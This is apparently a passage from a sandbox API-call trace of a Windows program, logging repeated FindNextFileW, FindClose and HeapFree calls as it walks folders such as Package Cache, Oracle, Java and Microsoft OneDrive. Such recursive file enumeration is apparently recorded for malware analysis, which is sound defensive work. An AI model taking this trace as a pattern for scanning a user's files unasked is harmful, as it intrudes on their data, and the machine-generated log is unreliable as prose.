hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.928] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~3")) returned 1 [0278.928] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.928] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSScan", cAlternateFileName="")) returned 1 [0278.928] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.928] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSScan", cAlternateFileName="")) returned 0 [0278.928] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0278.929] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.929] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ef6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Security Health", cAlternateFileName="WINDOW~4")) returned 1 [0278.929] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.929] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMSIPC", cAlternateFileName="")) returned 1 [0278.931] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.931] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Server", cAlternateFileName="")) returned 0 [0278.932] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0278.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.932] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0278.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.932] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Profiles", cAlternateFileName="")) returned 1 [0278.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.933] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Profiles", cAlternateFileName="")) returned 0 [0278.934] FindClose (in: hFindFile=0x6ec1f0 | out: hFindFile=0x6ec1f0) returned 1 [0278.934] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.935] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0278.935] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0278.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0278.935] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0278.944] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.945] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 0 [0278.945] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0278.945] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0278.945] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="Oracle", cAlternateFileName="")) returned 1 [0278.945] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.946] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="javapath", cAlternateFileName="")) returned 1 [0278.946] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.946] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 1 [0278.946] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.946] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 0 [0278.946] FindClose (in: hFindFile=0x6ec370 | out: hFindFile=0x6ec370) returned 1 [0278.946] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.947] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0278.947] FindClose (in: hFindFile=0x6ec1f0 | out: hFindFile=0x6ec1f0) returned 1 [0278.947] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0278.948] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0280.065] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.065] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2652a95, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0280.065] FindClose (in: hFindFile=0x6ec2f0 | out: hFindFile=0x6ec2f0) returned 1 [0280.065] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.065] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0280.065] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0280.065] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.479] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0280.480] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.480] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0280.480] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.480] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0280.480] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0280.481] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.481] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0280.481] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0280.481] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.481] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0280.481] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.481] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0280.481] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.481] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0280.481] FindClose (in: hFindFile=0x6ec370 | out: hFindFile=0x6ec370) returned 1 [0280.481] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.481] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0280.482] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0280.482] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.482] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0280.482] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.482] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0280.482] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0280.482] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.482] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0280.482] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0280.482] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.482] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0280.482] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.482] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0280.483] FindClose (in: hFindFile=0x6ec330 | out: hFindFile=0x6ec330) returned 1 [0280.483] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.483] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="packages", cAlternateFileName="")) returned 0 [0280.483] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0280.483] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0280.483] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0280.483] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.483] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0280.483] FindClose (in: hFindFile=0x6ebfb0 | out: 